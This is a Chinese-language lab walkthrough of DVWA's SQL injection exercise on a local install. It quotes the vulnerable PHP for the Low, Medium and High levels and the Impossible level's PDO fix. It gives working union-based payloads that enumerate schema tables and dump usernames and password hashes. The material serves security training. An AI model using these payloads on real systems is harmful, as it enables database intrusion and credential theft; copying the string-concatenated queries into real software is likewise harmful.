【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

1.初级篇 low.php

先看源码，取得的参数直接放到sql语句中执行 

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

直接加引号看报错，通过报错信息很容易的到使用单引号进行闭合

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

使用order by猜字段数量

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

order by 2时页面正常

union select 查询user() database()

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' union select user(),database()%23&Submit=Submit#

查表名

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23&Submit=Submit#

查users表列名

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'%23&Submit=Submit#

查数据

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select user,password from dvwa.users limit 0,1%23&Submit=Submit#

解密可得

 2.中级篇 Medium.php

看一下区别，id参数不再使用$_REQUEST获取了，并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

最直接的一点影响就是'被转义成为了\'，使得攻击者无法闭合引号而无法注入，

若MySQL客户端的编码为gbk时，就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html

若id参数为整型的时候，由于不需要闭合引号，一样可以正常注入，此处id为整型

SELECT first_name, last_name FROM users WHERE user_id = $id;

使用hackbar插件提交post数据，post形式下#不用编码成%23

id=0 union select 1,2#&Submit=Submit

 和初级篇一样取数据

id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit

 3.高级篇 High.php

id参数是从session中来获取的，由于session数据存储在服务器端，很多程序员会对来自客户端的数据进行严格校验，而服务端的数据则认定安全

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

点击弹出一个页面，对应的url

http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

审查源码

查看session-input.php源码，可以发现id参数没有经过任何处理直接传递到了session中

if( isset( $_POST[ 'id' ] ) ) {
    $_SESSION[ 'id' ] =  $_POST[ 'id' ];
    //$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
    $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
    $page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}

明白这些就可以进行注入了，注入的页面是session-input.php，显示结果的页面是index.php

http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

POST提交

id=0' union select user,password from dvwa.users#&Submit=Submit

刷新 

http://localhost/DVWA-master/vulnerabilities/sqli/index.php

4.不可能篇 Impossible.php

 查看源码，可以发现使用PDO技术来防止SQL注入，将id绑定为int

    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();